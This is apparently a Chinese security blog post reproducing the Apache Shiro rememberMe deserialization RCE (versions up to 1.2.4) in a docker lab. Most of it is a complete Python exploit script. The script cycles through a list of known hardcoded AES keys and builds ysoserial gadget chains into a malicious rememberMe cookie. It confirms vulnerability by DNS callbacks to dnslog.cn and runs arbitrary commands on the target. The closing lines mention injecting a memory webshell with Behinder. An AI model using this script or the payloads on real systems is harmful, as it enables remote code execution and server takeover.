今天咱们的主角是shiro反序列化命令执行漏洞。该漏洞在HVV等大型攻防项目中,经常被作为突破口。简单介绍了解一下还是很有必要的。废话不多说,进入正题。

一、漏洞描述:

Apache Shiro是美国阿帕奇(Apache)软件基金会的一套用于执行认证、授权、加密和会话管理的Java安全框架。

Apache Shiro 1.0.0版本至1.2.4版本中存在信息泄露漏洞,该漏洞源于程序未能正确配置‘remember me’功能使用的密钥。攻击者可通过发送带有特制参数的请求利用该漏洞执行任意代码或访问受限制内容。

二、漏洞原理:

AES加密的密钥Key被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

详细漏洞原理介绍参考:

https://baijiahao.baidu.com/s?id=1719489508581577349&wfr=spider&for=pc

三、漏洞复现

3.1环境搭建

docker pull medicean/vulapps:s_shiro_1

docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1

访问http://localhost:8081即可

3.2漏洞检测

python shiro_exploit.py -u http://192.168.3.3:8081

扫描脚本:shiro_exploit.py

#! python2.7

import os

import re

import base64

import uuid

import subprocess

import requests

import sys

import json

import time

import random

import argparse

from Crypto.Cipher import AES

JAR_FILE = 'ysoserial.jar'

CipherKeys = [

"kPH+bIxk5D2deZiIxcaaaA==",

"4AvVhmFLUs0KTA3Kprsdag==",

"3AvVhmFLUs0KTA3Kprsdag==",

"2AvVhdsgUs0FSA3SDFAdag==",

"6ZmI6I2j5Y+R5aSn5ZOlAA==",

"wGiHplamyXlVB11UXWol8g==",

"cmVtZW1iZXJNZQAAAAAAAA==",

"Z3VucwAAAAAAAAAAAAAAAA==",

"ZnJlc2h6Y24xMjM0NTY3OA==",

"L7RioUULEFhRyxM7a2R/Yg==",

"RVZBTk5JR0hUTFlfV0FPVQ==",

"fCq+/xW488hMTCD+cmJ3aQ==",

"WkhBTkdYSUFPSEVJX0NBVA==",

"1QWLxg+NYmxraMoxAXu/Iw==",

"WcfHGU25gNnTxTlmJMeSpw==",

"a2VlcE9uR29pbmdBbmRGaQ==",

"bWluZS1hc3NldC1rZXk6QQ==",

"5aaC5qKm5oqA5pyvAAAAAA==",

#"ZWvohmPdUsAWT3=KpPqda",

"r0e3c16IdVkouZgk1TKVMg==",

"ZUdsaGJuSmxibVI2ZHc9PQ==",

"U3ByaW5nQmxhZGUAAAAAAA==",

"LEGEND-CAMPUS-CIPHERKEY=="

#"kPv59vyqzj00x11LXJZTjJ2UHW48jzHN",

]

gadgets = ["JRMPClient","BeanShell1","Clojure","CommonsBeanutils1","CommonsCollections1","CommonsCollections2","CommonsCollections3","CommonsCollections4","CommonsCollections5","CommonsCollections6","CommonsCollections7","Groovy1","Hibernate1","Hibernate2","JSON1","JavassistWeld1","Jython1","MozillaRhino1","MozillaRhino2","Myfaces1","ROME","Spring1","Spring2","Vaadin1","Wicket1"]

session = requests.Session()

def genpayload(params, CipherKey,fp):

gadget,command = params

if not os.path.exists(fp):

raise Exception('jar file not found')

popen = subprocess.Popen(['java','-jar',fp,gadget,command],

stdout=subprocess.PIPE)

BS = AES.block_size

#print(command)

pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

#key = "kPH+bIxk5D2deZiIxcaaaA=="

mode = AES.MODE_CBC

iv = uuid.uuid4().bytes

encryptor = AES.new(base64.b64decode(CipherKey), mode, iv)

file_body = pad(popen.stdout.read())

base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))

return base64_ciphertext

def getdomain():

try :

ret = session.get("http://www.dnslog.cn/getdomain.php?t="+str(random.randint(100000,999999)),timeout=10).text

except Exception as e:

print("getdomain error:" + str(e))

ret = "error"

pass

return ret

def getrecord():

try :

ret = session.get("http://www.dnslog.cn/getrecords.php?t="+str(random.randint(100000,999999)),timeout=10).text

#print(ret)

except Exception as e:

print("getrecord error:" + str(e))

ret = "error"

pass

return ret

def check(url):

if '://' not in url:

target = 'https://%s' % url if ':443' in url else 'http://%s' % url

else:

target = url

print("checking url:" + url)

domain = getdnshost()

if domain:

reversehost = "http://" + domain

for CipherKey in CipherKeys:

ret = {"vul":False,"CipherKey":"","url":target}

try:

print("try CipherKey :" +CipherKey)

payload = genpayload(("URLDNS",reversehost),CipherKey,JAR_FILE)

print("generator payload done.")

r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10)

print("send payload ok.")

for i in range(1,5):

print("checking.....")

time.sleep(2)

temp = getrecord()

if domain in temp:

ret["vul"] = True

ret["CipherKey"] = CipherKey

break

except Exception as e:

print(str(e))

pass

if ret["vul"]:

break

else:

print("get dns host error")

return ret

def exploit(url,gadget,params,CipherKey):

if '://' not in url:

target = 'https://%s' % url if ':443' in url else 'http://%s' % url

else:

target = url

try:

payload = genpayload((gadget, params),CipherKey,JAR_FILE)

r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10)

print(r.text)

except Exception as e:

print("exploit error:" + str(e))

pass

def getdnshost():

reversehost = ""

try :

domain = getdomain()

if domain=="error":

print("getdomain error")

else:

#reversehost = "http://" +domain

reversehost = domain

#print("got reversehost : " + reversehost)

except:

pass

return reversehost

def detector(url,CipherKey,command):

result = []

if '://' not in url:

target = 'https://%s' % url if ':443' in url else 'http://%s' % url

else:

target = url

try:

for g in gadgets:

g = g.strip()

domain = getdnshost()

if domain:

if g == "JRMPClient":

param = "%s:80" % domain

else:

param = command.replace("{dnshost}",domain)

payload = genpayload((g, param),CipherKey,JAR_FILE)

print(g + " testing.....")

r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10)

#print(r.read())

for i in range(1,5):

#print("checking.....")

time.sleep(2)

temp = getrecord()

if domain in temp:

ret = g

#ret["CipherKey"] = CipherKey

result.append(ret)

print("found gadget:\t" + g)

break

else:

print("get dns host error")

#break

#print(r.text)

except Exception as e:

print("detector error:" + str(e))

pass

return result

def parser_error(errmsg):

print("Usage: python " + sys.argv[0] + " [Options] use -h for help")

sys.exit()

def parse_args():

# parse the arguments

parser = argparse.ArgumentParser(epilog="\tExample: \r\npython " + sys.argv[0] + " -u target")

parser.error = parser_error

parser._optionals.title = "OPTIONS"

parser.add_argument('-u', '--url', help="Target url.", default="http://127.0.0.1:8080",required=True)

parser.add_argument('-t', '--type', help='Check or Exploit. Check :1 , Exploit:2 , Find gadget:3', default="1",required=False)

parser.add_argument('-g', '--gadget', help='gadget', default="CommonsCollections2",required=False)

parser.add_argument('-p', '--params', help='gadget params',default="whoami",required=False)

parser.add_argument('-k', '--key', help='CipherKey',default="kPH+bIxk5D2deZiIxcaaaA==",required=False)

return parser.parse_args()

if __name__ == '__main__':

args = parse_args()

url = args.url

type = args.type

command = args.params

key = args.key

gadget = args.gadget

if type=="1":

r = check(url)

print("\nvulnerable:%s url:%s\tCipherKey:%s\n" %(str(r["vul"]),url,r["CipherKey"]))

elif type=="2":

exploit(url,gadget,command,key)

print("exploit done.")

elif type=="3":

r = detector(url,key,command)

if r :

print("found gadget:\n")

print(r)

else:

print("invalid type")

也可以直接用工具检测

各种工具齐上阵,注入内存马用冰蝎试试

 

 

没毛病,接下来想干啥就能干啥了。

以上为实验环境,实战中切记合法测试,否则将会得到一副“银手镯”奖励哦。 

 

查看原文